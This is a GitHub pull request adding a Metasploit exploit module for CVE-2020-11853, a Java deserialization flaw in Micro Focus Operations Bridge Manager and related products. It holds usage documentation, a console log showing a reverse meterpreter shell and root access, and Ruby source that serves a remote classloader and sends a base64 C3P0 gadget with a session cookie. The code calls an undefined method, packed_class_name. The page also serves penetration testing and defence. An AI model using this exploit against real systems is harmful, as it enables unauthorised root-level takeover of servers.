Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add exploit for CVE-2020-11853: Micro Focus Multiple Products Authenticated Remote Code Execution #14671

Merged
merged 12 commits into from
Feb 9, 2021
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
## Vulnerable Application

This module exploits an authenticated Java deserialization that affects a truckload of Micro Focus products:
* Operations Bridge Manager versions: 2020.05, 2019.11, 2019.05, 2018.11, 2018.05, versions 10.6x and 10.1x and older versions
* Application Performance Management versions: 9.51, 9.50 and 9.40 with uCMDB 10.33 CUP 3
* Data Center Automation version 2019.11
* Operations Bridge (containerized) versions: 2019.11, 2019.08, 2019.05, 2018.11, 2018.08, 2018.05, 2018.02, 2017.11
* Universal CMDB versions: 2020.05, 2019.11, 2019.05, 2019.02, 2018.11, 2018.08, 2018.05, 11, 10.33, 10.32, 10.31, 10.30
* Hybrid Cloud Management version 2020.05
* Service Management Automation versions 2020.5 and 2020.02

Exploiting this vulnerability will result in remote code execution as the root user on Linux or the SYSTEM user on Windows.
Authentication is required, the module user needs to login to the application and obtain the authenticated LWSSO_COOKIE_KEY,
which should be fed to the module.
Any authenticated user can exploit this vulnerability, even the lowest privileged ones.

The exploit uses a modified ysoserial c3p0 payload. The only part that is modified is that c3p0 is built using version 0.9.1.2,
so that the serialVersionUid of the target is the same as the exploit. This can be achieved by patching ysoserial's pom.xml.

This module was only tested with Operations Bridge Manager 2020.05 and 2019.11. It should work as is with earlier Operations Bridge Manager
versions, but it might require small modifications (to the cookie name or vulnerable URI) for the other affected products. However it is
equally likely that it works out of the box with the other products, as HPE / Micro Focus is well known for re-using (vulnerable) code.

For more information refer to the advisory link:
* https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md

Installation docs are available at:

* https://docs.microfocus.com/itom/Operations_Bridge_Manager:2020.05

Vulnerable versions of the software can be downloaded from Micro Focus website by requesting a demo.

## Verification Steps

1. Install the application
2. Start msfconsole
3. `use exploit/multi/http/microfocus_obm_auth_rce`
4. `set rhost TARGET`
5. `set lhost YOUR_IP`
6. `set srvhost YOUR_IP`
7. `set lwsso_cookie_key AUTHENTICATED_COOKIE`
8. `run`
9. You should get a shell.

## Options
`LWSSO_COOKIE_KEY` is a required option that must be set by the user. This cookie is returned when a user authenticates to OBM using the
web interface.
Paste the cookie contents into this variable so that the module can perform the authenticated exploit.

## Scenarios

```
msf6 > use exploit/multi/http/microfocus_obm_auth_rce
[*] Using configured payload java/meterpreter/reverse_tcp
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set rhosts 10.0.0.10
rhosts => 10.0.0.10
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lhost 10.0.0.1
lhost => 10.0.0.1
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set srvhost 10.0.0.1
srvhost => 10.0.0.1
msf6 exploit(multi/http/microfocus_obm_auth_rce) > set lwsso_cookie_key "7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew.."
lwsso_cookie_key => 7j-OJPUrD25c8CYmZav3fIuzXlPk4tksYgXd3HiuCMKC_Qn4wT4D8Tc_ovwvtHPLCZRi1vsRIIyj9j4IVJiAAR_yDb3olzHTGD2J1haQU6sq_iJRDBKgl1eN3n3PHrc-yXa8jtXC3ltNmLPLkXPbdrx6zbbTEkxyMMn2Lg5co4bGSA6Z-_OtlMXgUexKPLLAzszXJuVxeF5b6-sc91F7ew..
msf6 exploit(multi/http/microfocus_obm_auth_rce) > check
[*] 10.0.0.10:443 - The service is running, but could not be validated.
msf6 exploit(multi/http/microfocus_obm_auth_rce) > run

[*] Started reverse TCP handler on 10.0.0.1:4444
[*] Using URL: http://10.0.0.1:8080/
[+] Started remote classloader server at http://10.0.0.1:8080/
[*] Sending remote classloader gadget to https://10.0.0.10/legacy/topaz/sitescope/conf/registration
[*] Sending stage (58147 bytes) to 10.0.0.10
[*] Meterpreter session 1 opened (10.0.0.1:4444 -> 10.9.8.10:36432) at 2021-01-28 18:13:18 +0700
[*] Server stopped.

meterpreter > getuid
Server username: root
meterpreter > shell
Process 1 created.
Channel 1 created.
uname -a
Linux pwned 3.10.0-1062.18.1.el7.x86_64 #1 SMP Tue Mar 17 23:49:17 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0
```
152 changes: 152 additions & 0 deletions modules/exploits/multi/http/microfocus_obm_auth_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,152 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Java::HTTP::ClassLoader
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Manager Authenticated Remote Code Execution',
'Description' => %q{
This module exploits an authenticated Java deserialization that affects a truckload of Micro
Focus products: Operations Bridge Manager, Application Performance Management, Data Center Automation,
Universal CMDB, Hybrid Cloud Management and Service Management Automation. However this module
was only tested on Operations Bridge Manager.
Exploiting this vulnerability will result in remote code execution as the root user on Linux or
the SYSTEM user on Windows.
Authentication is required, the module user needs to login to the application and obtain the
authenticated LWSSO_COOKIE_KEY, which should be fed to the module. Any authenticated user can
exploit this vulnerability, even the lowest privileged ones.
For more information refer to the advisory link below.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBM.md'],
[ 'CVE', '2020-11853'],
[ 'ZDI', '20-1327'],
],
'DisclosureDate' => '2020-10-28',
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' => [
['Micro Focus Operations Bridge Manager <= 2020.05 (and many other MF products)', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
OptString.new('LWSSO_COOKIE_KEY', [true, 'Authenticated LWSSO_COOKIE_KEY session cookie'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/topaz/login.jsp')
})

# unfortunately could not find an easy way to detect the version running, even when auth
if res && res.code == 200 && res.body.include?('Login - Operations Bridge Manager')
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown
end

def exploit
# Start our HTTP server to provide remote classloading
@classloader_uri = start_service

unless @classloader_uri
fail_with(Failure::BadConfig, 'Could not start remote classloader server')
end

print_good("Started remote classloader server at #{@classloader_uri}")

# heh, we got two of these, let's pick one randomly!
vuln_uri = [
'/legacy/topaz/sitescope/conf/registration',
'/legacy/topaz/sitescope/conf/download'
].sample

# Send our remote classloader gadget to the target, triggering the vuln
send_request_gadget(
normalize_uri(target_uri.path, vuln_uri)
)
end

# Convenience method to send our gadget to a URI
def send_request_gadget(uri)
print_status("Sending remote classloader gadget to #{full_uri(uri)}")

send_request_raw({
'method' => 'POST',
'uri' => uri,
'cookie' => "LWSSO_COOKIE_KEY=#{datastore['LWSSO_COOKIE_KEY']}",
'headers' => { 'Content-Type' => 'application/octet-stream' },
'data' => go_go_gadget
}, 0)
end

# C3P0 payload generated with a ysoserial jar
# The ysoserial jar needs to be built with c3p0 version 0.9.1.2 as that is what the target uses
# See the advisory for details.
#
# java -jar ysoserial-0.0.6-SNAPSHOT-all-c3p0-0.9.1.2.jar C3P0 'http://whatever/:ExploitClass' | base64
def go_go_gadget
gadget = Rex::Text.decode_base64(
<<~EOF
rO0ABXNyAChjb20ubWNoYW5nZS52Mi5jM3AwLlBvb2xCYWNrZWREYXRhU291cmNlZoRH/BzETxgC
AAB4cgA1Y29tLm1jaGFuZ2UudjIuYzNwMC5pbXBsLkFic3RyYWN0UG9vbEJhY2tlZERhdGFTb3Vy
Y2UAAAAAAAAAAQMAAHhyADFjb20ubWNoYW5nZS52Mi5jM3AwLmltcGwuUG9vbEJhY2tlZERhdGFT
b3VyY2VCYXNlAAAAAAAAAAEDAAdJABBudW1IZWxwZXJUaHJlYWRzTAAYY29ubmVjdGlvblBvb2xE
YXRhU291cmNldAAkTGphdmF4L3NxbC9Db25uZWN0aW9uUG9vbERhdGFTb3VyY2U7TAAOZGF0YVNv
dXJjZU5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztMABRmYWN0b3J5Q2xhc3NMb2NhdGlvbnEAfgAE
TAANaWRlbnRpdHlUb2tlbnEAfgAETAADcGNzdAAiTGphdmEvYmVhbnMvUHJvcGVydHlDaGFuZ2VT
dXBwb3J0O0wAA3Zjc3QAIkxqYXZhL2JlYW5zL1ZldG9hYmxlQ2hhbmdlU3VwcG9ydDt4cHcCAAFz
cgA9Y29tLm1jaGFuZ2UudjIubmFtaW5nLlJlZmVyZW5jZUluZGlyZWN0b3IkUmVmZXJlbmNlU2Vy
aWFsaXplZGIZhdDRKsITAgAETAALY29udGV4dE5hbWV0ABNMamF2YXgvbmFtaW5nL05hbWU7TAAD
ZW52dAAVTGphdmEvdXRpbC9IYXNodGFibGU7TAAEbmFtZXEAfgAJTAAJcmVmZXJlbmNldAAYTGph
dmF4L25hbWluZy9SZWZlcmVuY2U7eHBwcHBzcgAWamF2YXgubmFtaW5nLlJlZmVyZW5jZejGnqKo
6Y0JAgAETAAFYWRkcnN0ABJMamF2YS91dGlsL1ZlY3RvcjtMAAxjbGFzc0ZhY3RvcnlxAH4ABEwA
FGNsYXNzRmFjdG9yeUxvY2F0aW9ucQB+AARMAAljbGFzc05hbWVxAH4ABHhwc3IAEGphdmEudXRp
bC5WZWN0b3LZl31bgDuvAQMAA0kAEWNhcGFjaXR5SW5jcmVtZW50SQAMZWxlbWVudENvdW50WwAL
ZWxlbWVudERhdGF0ABNbTGphdmEvbGFuZy9PYmplY3Q7eHAAAAAAAAAAAHVyABNbTGphdmEubGFu
Zy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAApwcHBwcHBwcHBweHQADEV4cGxvaXRDbGFzc3QAEGh0
dHA6Ly93aGF0ZXZlci90AAdleHBsb2l0cHBwdwQAAAAAeHcCAAF4
EOF
)

# Replace length-prefixed placeholder strings with our own
gadget.sub!("\x00\x10http://whatever/", packed_classloader_uri)
gadget.sub!("\x00\x07exploit", packed_class_name)
gadget.sub("\x00\x0cExploitClass", packed_class_name)
end

# Convenience method to pack the classloader URI as a length-prefixed string
def packed_classloader_uri
"#{[@classloader_uri.length].pack('n')}#{@classloader_uri}"
end

end